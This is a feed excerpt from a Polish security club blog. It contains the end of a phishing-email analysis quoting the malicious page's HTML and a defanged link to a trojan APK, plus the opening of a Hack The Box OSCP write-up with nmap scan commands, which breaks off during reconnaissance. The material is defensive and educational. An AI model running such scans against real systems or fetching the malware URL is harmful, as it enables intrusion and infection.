&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Certyfikat jest ważny od 6 maja 2021.&lt;/p>
&lt;p>Kolejną rzeczą, którą można zauważyć w treści maila, jest skrócony link &lt;em>bit[.]ly&lt;/em> - &lt;code>hxxps://bit[.]ly/3uqwab0&lt;/code>.
Postanowiliśmy sprawdzić co się za tym kryje. Takie adresy, można w prosty sposób zweryfikować na stronach typu &lt;a href="https://checkshorturl.com/"target="_blank" rel="noopener">CheckShortURL&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Wystarczy wkleić dany URL i kliknąć &lt;code>Expand&lt;/code>.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./checkshorturl.png">&lt;img loading="lazy" src="./checkshorturl.png" alt="CheckShortURL">&lt;/a>
&lt;/figure>
&lt;p>W celu uwiarygodnienia adresu, przestępcy dodali po ukośniku &lt;code>wirtualna-polska&lt;/code>, aby dodatkowo uśpić czujność ofiary.
Chcieliśmy tam wejść i sprawdzić co się pojawi. Zostaliśmy przekierowani na adres &lt;code>hxxps://pomoc[.]wp[.]pl&lt;/code>. Dodaliśmy znak &lt;code>+&lt;/code> na końcu skróconego URLa, aby upewnić się, że link prowadzi do tej samej strony, którą uzyskaliśmy wcześniej.&lt;/p>
&lt;p>{: .notice&amp;ndash;info}
Dodanie znaku &lt;code>+&lt;/code> do &lt;em>bit.ly&lt;/em> spowoduje wyświetlenie szczegółów strony, wraz z datą stworzenia skrótu oraz pełnym adresem do którego prowadzi&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./bitly.png" alt="Bit.ly">
&lt;/figure>
&lt;p>Nie znaleźliśmy nic ciekawego w tym miejscu. Założyliśmy jednak, że przestępcy mogą liczyć na to, że ofiara otworzy tego maila na smartfonie. W Burp Suite podmieniliśmy wartość nagłówka &lt;em>User-Agent&lt;/em> na &lt;code>Mozilla/5.0 (Linux; Android 5.1.1; Nexus 5 Build/LMY48B; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.65 Mobile Safari/537.36&lt;/code> (zgodnie z informacją ze &lt;a href="https://developer.chrome.com/docs/multidevice/user-agent/"target="_blank" rel="noopener">strony Google&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>), aby zweryfikować, co wyświetli się na telefonach z systemem Android.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./burp.png">&lt;img loading="lazy" src="./burp.png" alt="Burp Suite">&lt;/a>
&lt;/figure>
&lt;p>Drugie trafienie - naszym oczom ukazała się specjalnie przygotowana strona, na której można pobrać &lt;em>dodatek&lt;/em>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./android.png" alt="Strona na androidzie">
&lt;/figure>
&lt;p>W kodzie strony sprawdziliśmy, co znajduje się pod przyciskiem &lt;code>Pobierz dodatek AntySpam&lt;/code>.&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>&amp;lt;!--[if mso]&amp;gt;&amp;amp;nbsp;&amp;lt;![endif]--&amp;gt;
&amp;lt;a href=hxxp://209[.]141[.]43[.]19/lander/aplikacja_antyspam/click.php?id=1&amp;gt;
&amp;lt;div class=&amp;#34;buttons__Button2-s16d8eda-2 ghevYT&amp;#34;&amp;gt;Pobierz dodatek AntySpam&amp;lt;/div&amp;gt;
&amp;lt;/a&amp;gt;
&amp;lt;!--[if mso]&amp;gt;&amp;amp;nbsp;&amp;lt;![endif]--&amp;gt;&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Zweryfikowaliśmy ten adres na portalu &lt;a href="https://scamalytics.com/ip/209.141.43.19"target="_blank" rel="noopener">Scamalytics&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> i dostaliśmy informację, że istnieje wysokie prawdopodobieństwo oszustwa z jego wykorzystaniem.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./scamalytics-ip.png">&lt;img loading="lazy" src="./scamalytics-ip.png" alt="Scamalytics IP">&lt;/a>
&lt;/figure>
&lt;p>Jeżeli wyszukamy ISP na tej samej stronie, to otrzymujemy informację, że jest to bardzo wysokie prawdopodobieństwo wyłudzenia.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./scamalytics-isp.png">&lt;img loading="lazy" src="./scamalytics-isp.png" alt="Scamalytics ISP">&lt;/a>
&lt;/figure>
&lt;p>Są to bardzo cenne informacje, które mówią nam, że zdecydownie nie powinniśmy pobierać tego pliku na telefon.&lt;/p>
&lt;p>Aby zaspokoić naszą ciekawość, wykorzystaliśmy portal &lt;a href="https://app.any.run/"target="_blank" rel="noopener">any.run&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> do sprawdzenia jak działa znaleziony w kodzie adres. Przekierowuje on na stronę z podziękowaniem za pobranie aplikacji. W tle natomiast jest ona faktycznie pobierana. Jesli zezwoliliśmy kiedykolwiek na instalację aplikacji z niezaufanych źródeł poprzez przeglądarkę, to cały proces wykona się praktycznie bez jakiejkolwiek naszej ingerencji.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./antyspam-redirect.png">&lt;img loading="lazy" src="./antyspam-redirect.png" alt="Antyspam przekierowanie">&lt;/a>
&lt;/figure>
&lt;figure class="align-center">
&lt;a href="./antyspam-aplikacja.png">&lt;img loading="lazy" src="./antyspam-aplikacja.png" alt="Antyspam pobieranie">&lt;/a>
&lt;/figure>
&lt;p>Pobraną aplikację zaladowaliśmy w portalu &lt;a href="https://www.virustotal.com/gui/home/upload"target="_blank" rel="noopener">VirusTotal&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> i po chwili otrzymaliśmy &lt;a href="https://www.virustotal.com/gui/file/aa79e863d9942450adf7d096da00065ce492c193eecce9abcc6210ec8588af18/detection"target="_blank" rel="noopener">szczegółową analizę&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./virustotalapk.png" alt="Upload APK">
&lt;/figure>
&lt;figure class="align-center">
&lt;a href="./virustotaltrojan.png">&lt;img loading="lazy" src="./virustotaltrojan.png" alt="Virustotal analiza">&lt;/a>
&lt;/figure>
&lt;p>Wiele silników antywirusowych wykryło trojana.&lt;/p>
&lt;p>Są to wszystkie istotne (na potrzeby artykułu) szczegóły, jakie mogliśmy stamtąd uzyskać, więc ponownie wróciliśmy do analizy treści maila. Sprawdziliśmy domenę adresu nadawcy &lt;code>email-myst.warszawa.pl&lt;/code> w &lt;a href="https://www.dns.pl/whois"target="_blank" rel="noopener">dns.pl&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./whois-email-myst.png">&lt;img loading="lazy" src="./whois-email-myst.png" alt="whois email">&lt;/a>
&lt;/figure>
&lt;p>Strona została założona zaledwie kilka dni przed czasem powstania tego tekstu. Data utworzenia tej domeny pokrywa się z datą rejestracji adresu &lt;code>antyspam-poczta[.]pl&lt;/code>, jego certyfikatu oraz datą utworzenia skróconego linku. Dodatkowo informacje o Rejestratorze z portalu &lt;a href="https://www.dns.pl/whois"target="_blank" rel="noopener">dns.pl&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> nie pokrywają się z danymi Wirtualnej Polski oraz domeny &lt;code>warszawa.pl&lt;/code>.&lt;/p>
&lt;figure class="align-center">
&lt;a href="./wp-whois.png">&lt;img loading="lazy" src="./wp-whois.png" alt="whois wp">&lt;/a>
&lt;/figure>
&lt;figure class="align-center">
&lt;a href="./warszawa-whois.png">&lt;img loading="lazy" src="./warszawa-whois.png" alt="whois warszawa">&lt;/a>
&lt;/figure>
&lt;p>Dodatkowo sprawdziliśmy, czy domena widnieje na liście &lt;a href="https://hole.cert.pl/domains/domains.txt"target="_blank" rel="noopener">hole.cert&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> i kolejne trafienie - została ona zablokowana przez CERT Polska. Jeżeli jednak chcielibyście upewnić się, czy wasz dostawca internetu blokuje tę stronę, możecie to sprawdzić wchodząc pod adres &lt;a href="https://lista.cert.pl/#"target="_blank" rel="noopener">https://lista.cert.pl/#&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>Wnioski&lt;span class="hx:absolute hx:-mt-20" id="wnioski">&lt;/span>
&lt;a href="#wnioski" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Pokazaliśmy jak mając dostęp do Internetu i odrobinę wiedzy technicznej (m.in. podmiana nagłówka User-Agent), można zweryfikować otrzymaną wiadomość email. Czasami wystarczy chwila nieuwagi, aby paść ofiarą przestępców. Zawsze podczas przeglądania poczty należy dokładnie weryfikować nadawcę, treść oraz załączone linki. Jeżeli jednak nie jesteście pewni, czy mail jest poprawny czy nie, możecie zadzwonić do nadawcy i upewnić się. Możecie również napisać do nas i my zweryfikujemy to za Was. CERT Polska posiada &lt;a href="https://incydent.cert.pl/#!/lang=pl,entityType=notObligatedEntity,easyIncidentType=email"target="_blank" rel="noopener">stronę dedykowaną&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> takim incydentom. Znaleźć można &lt;a href="https://incydent.cert.pl/instrukcje-email"target="_blank" rel="noopener">tam&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> również szczegółową instrukcję na temat tego, jak wyeksportować daną wiadomość email i przygotowac ją do zgloszenia.&lt;/p>
&lt;p>Pamiętajcie, żeby nie instalować oprogramowania spoza autoryzowanych sklepów. Zweryfikujcie, czy w ustawieniach waszych telefonów odznaczona jest odpowiednia opcja przy przeglądarce, z której korzystacie. Wersja uniwersalna dla Androida 11 i przeglądarki Chrome:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;pre>&lt;code>Ustawienia
Aplikacje
Dostep specjalny
Zainstaluj nieznane aplikacje
Chrome&lt;/code>&lt;/pre>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./android-instalacja.png" alt="poprawne ustawienie przeglądarki">
&lt;/figure>
&lt;h2>Przemyślenia końcowe&lt;span class="hx:absolute hx:-mt-20" id="przemyślenia-końcowe">&lt;/span>
&lt;a href="#przemy%c5%9blenia-ko%c5%84cowe" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Bardzo zainteresował nas fakt, że domeną główną adresu nadawcy jest &lt;code>warszawa.pl&lt;/code>. Postanowiliśmy zweryfikować to i spróbować wykupić domenę z nazwą polskiego miasta - udało się. Zostawiamy was z następującym pytaniem do przemyślenia - czy zwykły użytkownik powinien móc wykupić subdomenę samorządową jak &lt;code>arek.warszawa.pl&lt;/code> czy &lt;code>wojtek.wroclaw.pl&lt;/code>?&lt;/p>
&lt;figure class="align-center">
&lt;a href="./seohost-warszawa.png">&lt;img loading="lazy" src="./seohost-warszawa.png" alt="Domena warszawa">&lt;/a>
&lt;/figure>
&lt;figure class="align-center">
&lt;a href="./ovh-wroclaw.png">&lt;img loading="lazy" src="./ovh-wroclaw.png" alt="Domena Wroclaw">&lt;/a>
&lt;/figure></description></item><item><title>Break The Syntax CTF 2021</title><link>https://whitehats.pwr.edu.pl/blog/2021-03-12-bts-2nd-edition/</link><pubDate>Fri, 12 Mar 2021 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2021-03-12-bts-2nd-edition/</guid><description>
&lt;h2>[PL] Break the Syntax 2021&lt;span class="hx:absolute hx:-mt-20" id="pl-break-the-syntax-2021">&lt;/span>
&lt;a href="#pl-break-the-syntax-2021" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Turniej Break The Syntax w 2021 roku odbył się w dniach 12.03.2021 - 14.03.2021.&lt;/p>
&lt;p>&lt;a href="https://ctftime.org/event/1303"target="_blank" rel="noopener">CTFTime&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>Writeupy z wydarzenia dostępne są na &lt;a href="https://github.com/PWrWhiteHats/BtS-CTF-Challenges-03-2021"target="_blank" rel="noopener">naszym GitHubie&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;h2>[ENG] Break the Syntax 2021&lt;span class="hx:absolute hx:-mt-20" id="eng-break-the-syntax-2021">&lt;/span>
&lt;a href="#eng-break-the-syntax-2021" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>The 2021 Break The Syntax CTF tournament took palce from 12.03.2021 to 14.03.2021.&lt;/p>
&lt;p>&lt;a href="https://ctftime.org/event/1303"target="_blank" rel="noopener">CTFTime&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p>
&lt;p>The writeups from the event our available on &lt;a href="https://github.com/PWrWhiteHats/BtS-CTF-Challenges-03-2021"target="_blank" rel="noopener">our GitHub&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>.&lt;/p></description></item><item><title>Droga do OSCP</title><link>https://whitehats.pwr.edu.pl/blog/2021-03-08-droga-do-oscp-1/</link><pubDate>Mon, 08 Mar 2021 00:00:00 +0000</pubDate><guid>https://whitehats.pwr.edu.pl/blog/2021-03-08-droga-do-oscp-1/</guid><description>
&lt;figure>&lt;img src="https://whitehats.pwr.edu.pl/blog/2021-03-08-droga-do-oscp-1/tlo-htb-sec_hu_97e270ea7fc72bf.webp" width="1280" height="720" fetchpriority="high">
&lt;/figure>
&lt;p>Podobno człowiek najlepiej uczy się poprzez praktykę. Kierując się tą zasadą, postanowiłem stworzyć serię, dokumentującą przygotowania do egzaminu OSCP. Czym jest OSCP? Offensive Security Certified Professional to &lt;a href="https://www.offensive-security.com/pwk-oscp/"target="_blank" rel="noopener">certyfikat etycznego hackingu&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> stworzony przez firmę Offensive Security. Obejmuje on metodologie testów penetracyjnych z wykorzystaniem narzędzi dostępnych w systemie Kali Linux (jest on również rozwijany przez tą samą organizację).&lt;/p>
&lt;h2>Środowiska&lt;span class="hx:absolute hx:-mt-20" id="środowiska">&lt;/span>
&lt;a href="#%c5%9brodowiska" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Ze względu na duże restrykcje publikowania materiałów dotyczących certyfikatu, nie mógłbym opisywać oficjalnych środowisk dostarczonych przez Offensive Security. Na ratunek przychodzą strony typu &lt;a href="https://www.hackthebox.eu/"target="_blank" rel="noopener">Hack the Box&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a> i &lt;a href="https://tryhackme.com/"target="_blank" rel="noopener">TryHackMe&lt;svg class="hx:inline hx:rtl:rotate-270 hx:align-baseline" height="1em" aria-hidden="true" fill="none" stroke="currentColor" stroke-width="2" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
&lt;path d="m9.1716 7.7574h7.0711m0 0v7.0711m0-7.0711-8.4853 8.4853" stroke-linecap="round" stroke-linejoin="round"/>
&lt;/svg>&lt;/a>. Oferują one wiele maszyn podobnych do tych, obecnych na egzaminie. Skupię się jednak tylko na tym pierwszym portalu. Lista &lt;em>boxów&lt;/em> na dzień 02.03.2021 przedstawiona jest na grafice poniżej. Część z nich posiada już status &lt;em>retired&lt;/em>, co znaczy, że punkty za ich rozwiązanie nie są wliczane do wyniku w profilu użytkownika i mogą być dostępne tylko dla posiadaczy konta VIP. Patrząc jednak na renomę OSCP, warto zakupić chociaż miesięczny pakiet w HTB, żeby poćwiczyć przed egzaminem.&lt;/p>
&lt;figure class="align-center">
&lt;img loading="lazy" src="./oscplikemachines-htb.png" alt="Maszyny HTB w stylu OSCP">
&lt;/figure>
&lt;p>&lt;strong>Box&lt;/strong> - w terminologii HTB jest to podatna maszyna udostępniona użytkownikowi
{: .notice&amp;ndash;info}&lt;/p>
&lt;p>Dobrą praktyką jest tworzenie tzw. &lt;em>write-upów&lt;/em> w trakcie pokonywania maszyn.&lt;/p>
&lt;p>&lt;strong>Write-up&lt;/strong> - w tym kontekście jest to instrukcja włamania do danej maszyny
{: .notice&amp;ndash;info}&lt;/p>
&lt;h2>Szczegóły boxa&lt;span class="hx:absolute hx:-mt-20" id="szczegóły-boxa">&lt;/span>
&lt;a href="#szczeg%c3%b3%c5%82y-boxa" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;table>
&lt;thead>
&lt;tr>
&lt;th style="text-align: center">&lt;strong>Nazwa&lt;/strong>&lt;/th>
&lt;th style="text-align: center">&lt;strong>Status&lt;/strong>&lt;/th>
&lt;th style="text-align: center">&lt;strong>Trudność&lt;/strong>&lt;/th>
&lt;th style="text-align: center">&lt;strong>IP&lt;/strong>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td style="text-align: center">brainfuck&lt;/td>
&lt;td style="text-align: center">retired&lt;/td>
&lt;td style="text-align: center">6.6/10&lt;/td>
&lt;td style="text-align: center">10.10.10.17&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2>Write-up&lt;span class="hx:absolute hx:-mt-20" id="write-up">&lt;/span>
&lt;a href="#write-up" class="subheading-anchor" aria-label="Permalink for this section">&lt;/a>&lt;/h2>&lt;p>Analizę rozpoczynam od skanu narzędziem nmap. Należy sprawdzić działające usługi i wszystkie otwarte porty. Można to wykonać następującymi poleceniami:&lt;/p>
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">
&lt;div>&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-console" data-lang="console">&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> nmap -sC -sV -oA nmap/nmap-enumerate 10.10.10.17
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="gp">$&lt;/span> sudo nmap -p- --min-parallelism &lt;span class="m">100&lt;/span> -sS -sU --min-rate &lt;span class="m">5000&lt;/span> &lt;span class="se">\
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="se">&lt;/span>&lt;span class="go"> -oN nmap/nmap-all 10.10.10.17
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Kopiuj"
aria-label="Kopiuj"
data-copied-label="Copied!"
>
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4">&lt;/div>
&lt;/button>
&lt;/div>
&lt;/div>
&lt;p>Wykorzystane zostały następujące parametry:&lt;/p>
&lt;ul>
&lt;li>&lt;code>-sC&lt;/code> - wykonaj najbardziej popularne skrypty NSE&lt;/li>
&lt;li>&lt;code>-sV&lt;/code> - wykryj wersję usług&lt;/li>
&lt;li>&lt;code>-oA&lt;/code> - zwróć rezultaty we wszystkich dostępnych formatach (xml, &lt;code>ScRipT KIdd|3&lt;/code>, format grepowalny, normalny)&lt;/li>
&lt;li>&lt;code>-p-&lt;/code> - skanuj wszystkie porty&lt;/li>
&lt;li>&lt;code>--min-parallelism&lt;/code> - zmień ilość równoległych próbek&lt;/li>
&lt;li>&lt;code>-sS&lt;/code> - ustaw typ skanu na TCP SYN&lt;/li>
&lt;li>&lt;code>-sU&lt;/code> - ustaw typ skanu na UDP&lt;/li>
&lt;li>&lt;code>--min-rate&lt;/code> - wysyłaj więcej pakietów na sekundę niż podana wartość&lt;/li>
&lt;li>&lt;code>-oN&lt;/code> - zwróć rezultat w formacie normalnym&lt;/li>
&lt;/ul>
&lt;p>Wyniki skanów zostaną zapisane w folderze &lt;code>nmap&lt;/code>. Można w nich zauważyć, że otwartych jest tylko 5 portów:&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>&lt;strong>Port&lt;/strong>&lt;/th>
&lt;th>&lt;strong>Usługa&lt;/strong>&lt;/th>
&lt;th>&lt;strong>Wersja&lt;/strong>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>22&lt;/td>
&lt;td>SSH&lt;/td>
&lt;td>OpenSSH 7.2p2&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>25&lt;/td>
&lt;td>smtp&lt;/td>
&lt;td>Postfix smtpd&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>110&lt;/td>
&lt;td>pop3&lt;/td>
&lt;td>Devecot pop3d&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>143&lt;/td>
&lt;td>imap&lt;/td>
&lt;td>Devecot imapd&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>443&lt;/td>
&lt;td>ssl/http&lt;/td>
&lt;td>nginx 1.10.0&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>Wnioski:&lt;/p>
&lt;ul>
&lt;li>na boxie działa serwer pocztowy (patrz wiersz 2,3,4 tabeli zawierającej otwarte porty)&lt;/li>
&lt;li>dostępna wersja SSH na pierwszy rzut oka nie posiada poważnych błędów umożliwiających obejście zabezpieczeń&lt;/li>
